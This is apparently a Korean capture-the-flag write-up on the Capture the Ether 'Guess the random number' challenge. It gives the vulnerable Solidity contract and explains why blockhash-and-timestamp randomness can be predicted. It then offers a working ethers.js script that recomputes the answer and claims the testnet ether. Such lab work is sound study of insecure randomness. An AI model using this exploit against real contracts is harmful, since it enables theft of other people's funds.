Capture the ether-Guess the random number

problem link

pragma solidity ^0.4.21;
 
contract GuessTheRandomNumberChallenge {
    uint8 answer;
 
    function GuessTheRandomNumberChallenge() public payable {
        require(msg.value == 1 ether);
        answer = uint8(keccak256(block.blockhash(block.number - 1), now));
    }
 
    function isComplete() public view returns (bool) {
        return address(this).balance == 0;
    }
 
    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
 
        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }
}

guess를 호출하여 해시값을 맞추어 balance를 0으로 만들라.

풀이

    function guess(uint8 n) public payable {
        require(msg.value == 1 ether);
 
        if (n == answer) {
            msg.sender.transfer(2 ether);
        }
    }

guess 함수에서 8비트짜리 수를 받아 answerHash와 비교한다.

answer는 문제 생성 시 uint8(keccak256(block.blockhash(block.number - 1), now)) 로 설정된다. 이전 블록의 블록해시 값과, 현재 타임스탬프를 keccak256 해시한다. 이는 256비트이다. 이중 하위 8비트를 떼어낸다. EVM이 빅엔디안을 사용하지만, 이건 포인터로 떼어내는 게 아니라 캐스팅이므로.. 하위 1바이트를 떼어내는 것이다.(처음에 헷갈렸다..)

solidity에서 keccak256에 여러 데이터를 넣는 경우, ethers에서는 utils.keccak256(utils.solidityPack(["bytes32", "uint256"], [block_old.hash, block_now.timestamp])) 와 같이 넣어야 한다. 또는 바이트를 조작하여 넣는 방법도 있다.

문제에서 사용하는 solidity는 0.4 버전으로, 이후 버전에서는 keccak256 사용법이 바뀌었다. keccak256에 여러 데이터를 넣는 경우 keccak256(abi.encodePacked(bytes32(block.blockhash(block.number - 1)), block.timestamp)); 와 같은 방식으로 호출할 것이다.

import { Contract, ethers, utils } from "ethers"
import 'dotenv/config'
 
/*
    pragma solidity ^0.4.21;
 
    contract GuessTheRandomNumberChallenge {
        uint8 answer;
 
        function GuessTheRandomNumberChallenge() public payable {
            require(msg.value == 1 ether);
            answer = uint8(keccak256(block.blockhash(block.number - 1), now));
        }
 
        function isComplete() public view returns (bool) {
            return address(this).balance == 0;
        }
 
        function guess(uint8 n) public payable {
            require(msg.value == 1 ether);
 
            if (n == answer) {
                msg.sender.transfer(2 ether);
            }
        }
    }
*/
 
const provider = new ethers.providers.getDefaultProvider("ropsten")
const wallet = new ethers.Wallet(process.env.PK, provider)
 
const abi = [{"constant":false,"inputs":[{"name":"n","type":"uint8"}],"name":"guess","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"isComplete","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"}]
const problem_address = ""
 
async function solve() {
 
    const block_number = /** the block number of construction */
 
    // get block hash
    const block_old = await provider.getBlock(block_number - 1)
    const block_now = await provider.getBlock(block_number)
 
    const keccak_res = utils.keccak256(utils.solidityPack(["bytes32", "uint256"], [block_old.hash, block_now.timestamp]))
    const casting = utils.arrayify(keccak_res)[utils.arrayify(keccak_res).length - 1]
    const answer = casting
 
    console.log(answer)
    
    const contract = new Contract(problem_address, abi, wallet)
    const tx = await contract.guess(answer, {
        value: utils.parseUnits("1", "ether")
    })
 
    await tx.wait()
}
 
solve().catch((err) => {
    console.log(err)
})
 

다음은 공격 코드이다.


tags: writeup, blockchain, solidity, smart contract, insecure randomness